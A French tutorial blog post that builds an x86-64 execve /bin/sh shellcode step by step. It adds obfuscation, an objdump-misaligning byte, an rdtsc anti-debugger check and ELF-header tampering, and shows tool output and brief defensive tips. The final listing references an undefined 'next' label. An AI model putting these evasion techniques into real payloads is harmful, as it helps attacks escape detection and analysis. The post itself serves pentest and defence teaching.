L’objet de cette série d’articles est d’aborder quelques techniques d’évasion pour des shellcodes (une connaissance minimale sur les shellcodes est donc un prérequis).
Ces techniques sont susceptibles d’intéresser les pentesters mais aussi les cyberdéfenseurs dans leur lutte quotidienne contre les attaques informatiques.
Une petite précision par rapport aux codes sources. Le code présenté ici n’est pas 100% « exploit safe », c’est à dire que je n’ai pas systématiquement vérifié l’absence de zéros dans les opcodes générés.
Par exemple ce mov n’est pas exploit safe car il génère des opcodes avec des zéros :
48 c7 c0 01 00 00 00 mov rax,0x1
Mais ce code-ci qui aboutit au même résultat est lui « exploit safe » :
48 31 c0 xor rax,rax
b0 01 mov al,0x1
OK, prenons pour exemple un shellcode classique dont le but est de lancer un shell /bin/sh
; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64basic.nasm -o sc64basic.o
; $ ld sc64basic.o -o sc64basic
;
; 64 bits system exec parameters :
;
; %rax System call %rdi %rsi %rdx %r10 %r8
; 0x3b sys_execve const char *filename const char *const argv[] const char *const envp[]
global _start
_start:
; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f
mov rcx, 0x68732f6e69622f
push rcx ; push the immediate value stored in rcx onto the stack
xor rdx, rdx
lea rdi, [rsp] ; load the address of the string that is on the stack into rdi
mov al, 0x3b
syscall ; make the syscall
Un tel shellcode est facilement repérable car :
- la chaîne de caractères /bin/sh ou ici sa version little endian hs/nib apparaît en clair dans le registre rcx
- l’appel à la fonction système execve 0x3b est repérable directement
Obfuscation
Afin de contourner ce problème, un attaquant peut utiliser plusieurs techniques comme l’obfuscation.
On remplace tout ce qui est facilement identifiable comme la chaine de caractère /bin/sh et l’appel système execve 0x3b par un code différent mais qui aboutit au même résultat.
Au fait, dans ce genre, il y a quelques trucs pour remplacer les classiques XOR ou PUSH, cela peut aider à passer du pattern-matching :
XOR
Un xor rax, rax peut se remplacer par :
mov rbx, rax
sub rax, rbx
PUSH
Un push rax peut se remplacer par :
mov qword [rsp - 8], rax
sub rsp, 8
Pour masquer la chaine /bin/sh, on peut par exemple imaginer une addition de deux registres donnant comme résultat la valeur souhaitée 0x68732f6e69622f. Et pour faire cette addition on peut ajouter un peu de fun en utilisant une instruction MMX ou bien du SSE/SSE2.
Quant à l’appel système avec 0x3b dans le registre AL, là aussi on peut se dire qu’on ne met pas directement cette valeur dans AL mais qu’on y arrive avec une addition.
Voici un exemple de code avec ces modifications.
; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64v1.nasm -o sc64v1.o
; $ ld sc64v1.o -o sc64v1
;
; 64 bits system exec parameters :
;
; %rax System call %rdi %rsi %rdx %r10 %r8
; 0x3b sys_execve const char *filename const char *const argv[] const char *const envp[]
global _start
_start:
; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f
; Obfuscate value with a simple addition
; 68 73 2f 6e 69 62 2f
; - 50 53 01 42 4a 50 02 X value
; = 18 20 2e 2c 1f 12 2d Y value
mov rcx, 0x69505301424a5002 ; X value is padded with a random value, 0x69
movq mm0, rcx ; build the string value using MMX add instruction for obfuscation
mov rcx, 0x6918202e2c1f122d ; Y value is padded with a random value, 0x69
movq mm1, rcx
paddusb mm0, mm1 ; add mm0 with mm1 (parallel execution) and construct hs/nib/
movq rcx, mm0
emms ; return to FPU mode
xor rdx, rdx ; zero out rdx for an execve argument
shl rcx, 0x08 ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00)
mov al, 0x30 ; move 0x30 (execve syscall is 0x3b) into al
shr rcx, 0x08 ; right shift to re order string (0x00 is cleared, rcx is now /hs/nib)
push rcx ; push the immediate value stored in rcx onto the stack
lea rdi, [rsp] ; load the address of the string that is on the stack into rdi
add al, 0x0b ; move 0x3b into al (execve syscall)
syscall ; make the syscall
Cyberdéfense
Le pattern-matching risque d’échouer car le code est obfusqué.
Un dump du code ne permet plus de voir d’un simple coup d’oeil qu’il s’agit d’un appel à /bin/sh néanmoins en suivant pas à pas les instructions avec gdb on y arrive aisément.
Anti-dump
Un attaquant aura vite trouvé une solution pour perturber les dumpers de code et les debuggers.
Une solution simple pour pertuber la commande objdump sous Linux, est d’ajouter un opcode incomplet (par exemple prendre un opcode qui tient normalement sur 2 octets et de n’en prendre qu’un seul) puis de passer par dessus avec un jump :
jmp begin+1
begin:
db 0xe9 ; E9 is opcode for jmp to disalign disassembly like objdump
suite du code
Le nouveau shellcode avec cet anti-dump :
; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64v2.nasm -o sc64v2.o
; $ ld sc64v2.o -o sc64v2
;
; 64 bits system exec parameters :
;
; %rax System call %rdi %rsi %rdx %r10 %r8
; 0x3b sys_execve const char *filename const char *const argv[] const char *const envp[]
global _start
_start:
; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f
; Obfuscate value with a simple addition
; 68 73 2f 6e 69 62 2f
; - 50 53 01 42 4a 50 02 X value
; = 18 20 2e 2c 1f 12 2d Y value
jmp begin+1
begin:
db 0xe9 ; E9 is opcode for jmp to disalign disassembly
mov rcx, 0x69505301424a5002 ; X value is padded with a random value, 0x69
movq mm0, rcx ; build the string value using MMX add instruction for obfuscation
mov rcx, 0x6918202e2c1f122d ; Y value is padded with a random value, 0x69
movq mm1, rcx
paddusb mm0, mm1 ; add mm0 with mm1 (parallel execution) and construct hs/nib/
movq rcx, mm0
emms ; return to FPU mode
xor rdx, rdx ; zero out rdx for an execve argument
shl rcx, 0x08 ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00)
mov al, 0x30 ; move 0x30 (execve syscall is 0x3b) into al
shr rcx, 0x08 ; right shift to re order string (0x00 is cleared, rcx is now /hs/nib)
push rcx ; push the immediate value stored in rcx onto the stack
lea rdi, [rsp] ; load the address of the string that is on the stack into rdi
add al, 0x0b ; move 0x3b into al (execve syscall)
syscall ; make the syscall
Lançons un objdump pour voir le résultat.
On voit que l’ajout de l’opcode 0xE9 a perturbé l’alignement d’objdump, le code dumpé ne correspond pas au code source :
objdump -D sc64blog
sc64blog: format de fichier elf64-x86-64
Déassemblage de la section .text :
0000000000400080 <_start>:
400080: eb 01 jmp 400083 <begin+0x1>
0000000000400082 :
400082: e9 48 b9 02 50 jmpq 5042b9cf <_end+0x4fe2b917>
400087: 4a rex.WX
400088: 42 01 53 50 rex.X add %edx,0x50(%rbx)
40008c: 00 48 0f add %cl,0xf(%rax)
40008f: 6e outsb %ds:(%rsi),(%dx)
400090: c1 48 b9 2d rorl $0x2d,-0x47(%rax)
400094: 12 1f adc (%rdi),%bl
400096: 2c 2e sub $0x2e,%al
400098: 20 18 and %bl,(%rax)
40009a: 00 48 0f add %cl,0xf(%rax)
40009d: 6e outsb %ds:(%rsi),(%dx)
40009e: c9 leaveq
40009f: 0f dc c1 paddusb %mm1,%mm0
4000a2: 48 0f 7e c1 movq %mm0,%rcx
4000a6: 0f 77 emms
4000a8: 48 31 d2 xor %rdx,%rdx
4000ab: b0 30 mov $0x30,%al
4000ad: 51 push %rcx
4000ae: 48 8d 3c 24 lea (%rsp),%rdi
4000b2: 04 0b add $0xb,%al
4000b4: 0f 05 syscall
Cyberdéfense
Il suffit de lancer le debugger gdb et de tracer les instructions pas à pas.
Anti-debugger
Là encore un attaquant peut empêcher le bon fonctionnement de gdb de plusieurs façons.
Si le shellcode ne fait pas partie d’un exploit mais est un exécutable :
On peut manipuler le header ELF du binaire et fait croire qu’il s’agit d’un binaire 32 bits alors qu’il s’agit en réalité d’un binaire 64 bits. Dans le même ordre d’idée on peut modifier un autre bit du header ELF pour indiquer qu’il s’agit d’un code pour une plateforme en big endian alors qu’il s’agit en réalité d’un binaire pour une plateforme en little endian.
Ces modifications perturbent bon nombre d’outils mais n’empêchent pas le binaire de fonctionner normalement !
Tout d’abord, on vérifie les informations présentes avec la commande readelf, on voit bien qu’il s’agit d’un 64 bits little endian :
readelf -h ./sc64v2
En-tête ELF:
Magique: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Classe: ELF64
Données: complément à 2, système à octets de poids faible d'abord (little endian)
Version: 1 (current)
OS/ABI: UNIX - System V
Version ABI: 0
Type: EXEC (fichier exécutable)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Adresse du point d'entrée: 0x400080
Début des en-têtes de programme : 64 (octets dans le fichier)
Début des en-têtes de section : 464 (octets dans le fichier)
Fanions: 0x0
Taille de cet en-tête: 64 (octets)
Taille de l'en-tête du programme: 56 (octets)
Nombre d'en-tête du programme: 1
Taille des en-têtes de section: 64 (octets)
Nombre d'en-têtes de section: 5
Table d'indexes des chaînes d'en-tête de section: 4
Pour modifier le header, on peut utiliser n’importe quel éditeur hexadécimal, j’ai choisi ici l’outil hexcurse :
Le 5ième octet définit le format 32 ou 64 bits : (1) 32Bits (2) 64Bits. On modifie le 5ième octet et on le passe à 1.
Le 6ième octet définit l’endianness : (1) LSB (2) MSB. On modifie le 6ième octet et on le passe à 2.
Testons ces modifs avec quelques commandes linux classiques :
la commande file est perturbée
file sc64
sc64elf: ELF 32-bit MSB *unknown arch 0x3e00* (SYSV)
Il croit qu’il s’agit d’un executable 32 bits pour big endian :
En-tête ELF:
Magique: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
Classe: ELF32
Données: complément à 2, système à octets de poids fort d'abord (big endian)
Version: 1 (current)
OS/ABI: UNIX - System V
Version ABI: 0
Type: : 200
Machine: : 0x3e00
Version: 0x1000000
Adresse du point d'entrée: 0x80004000
Début des en-têtes de programme : 0 (octets dans le fichier)
Début des en-têtes de section : 1073741824 (octets dans le fichier)
Fanions: 0x0
Taille de cet en-tête: 53249 (octets)
Taille de l'en-tête du programme: 0 (octets)
Nombre d'en-tête du programme: 0
Taille des en-têtes de section: 0 (octets)
Nombre d'en-têtes de section: 0
Table d'indexes des chaînes d'en-tête de section: 0
readelf: AVERTISSEMENT: en-tête ELF peut-être endommagé – il a un offset non nul pour l'en-tête de section mais pas d'en-tête de section
Objdump plante :
objdump -M intel -D ./sc64
objdump: ./sc64: Fichier tronqué
gdb plante également :
gdb ./sc64
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
"/root/shellcodes/./sc64": not in executable format: Fichier tronqué
(gdb)
Que le shellcode fasse partie d’un exploit ou bien soit un binaire exécutable, il est possible de perturber le débugger gdb de multiples façons.
Une des méthodes est de se baser sur le temps. On calcule le temps d’exécution et si ce n’est pas le temps attendu, on exit :
rdtsc ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half])
xor ecx,ecx ; sets ECX to zero
add ecx,eax ; save timestamp to ECX
rdtsc ; get another timestamp
sub eax,ecx ; compute elapsed ticks
cmp eax,0xFFF ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...)
jl next
retn ; program crash
Voici le shellcode en intégrant la technique anti-dump et anti-debug :
; Author : Patrice Siracusa
;
; $ nasm -f elf64 sc64v3.nasm -o sc64v3.o
; $ ld sc64v3.o -o sc64v3
;
; 64 bits system exec parameters :
;
; %rax System call %rdi %rsi %rdx %r10 %r8
; 0x3b sys_execve const char *filename const char *const argv[] const char *const envp[]
global _start
_start:
; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f
; Obfuscate value with a simple addition
; 68 73 2f 6e 69 62 2f
; - 50 53 01 42 4a 50 02 X value
; = 18 20 2e 2c 1f 12 2d Y value
jmp begin+1
begin:
db 0xe9 ; E9 is opcode for jmp to disalign disassembly
rdtsc ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half])
xor ecx,ecx ; sets ECX to zero
add ecx,eax ; save timestamp to ECX
rdtsc ; get another timestamp
sub eax,ecx ; compute elapsed ticks
cmp eax,0xFFF ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...)
jl next
retn ; program crash
mov rcx, 0x69505301424a5002 ; X value is padded with a random value, 0x69
movq mm0, rcx ; build the string value using MMX add instruction for obfuscation
mov rcx, 0x6918202e2c1f122d ; Y value is padded with a random value, 0x69
movq mm1, rcx
paddusb mm0, mm1 ; add mm0 with mm1 (parallel execution) and construct hs/nib/
movq rcx, mm0
emms ; return to FPU mode
xor rdx, rdx ; zero out rdx for an execve argument
shl rcx, 0x08 ; left shift to trim off the two bytes of padding (0x69 is wiped and replaced with 0x00)
mov al, 0x30 ; move 0x30 (execve syscall is 0x3b) into al
shr rcx, 0x08 ; right shift to re order string (0x00 is cleared, rcx is now /hs/nib)
push rcx ; push the immediate value stored in rcx onto the stack
lea rdi, [rsp] ; load the address of the string that is on the stack into rdi
add al, 0x0b ; move 0x3b into al (execve syscall)
syscall ; make the syscall
Cyberdéfense
Si objdump ou gdb se plante dès le début, jettez un oeil au header ELF.
Si en traçant pas à pas gdb crash, pensez à faire des jump par dessus du code anti-debug.
Voila, après avoir vu rapidement quelques techniques d’obfuscation, nous verrons dans le prochain article quelques techniques d’encodage.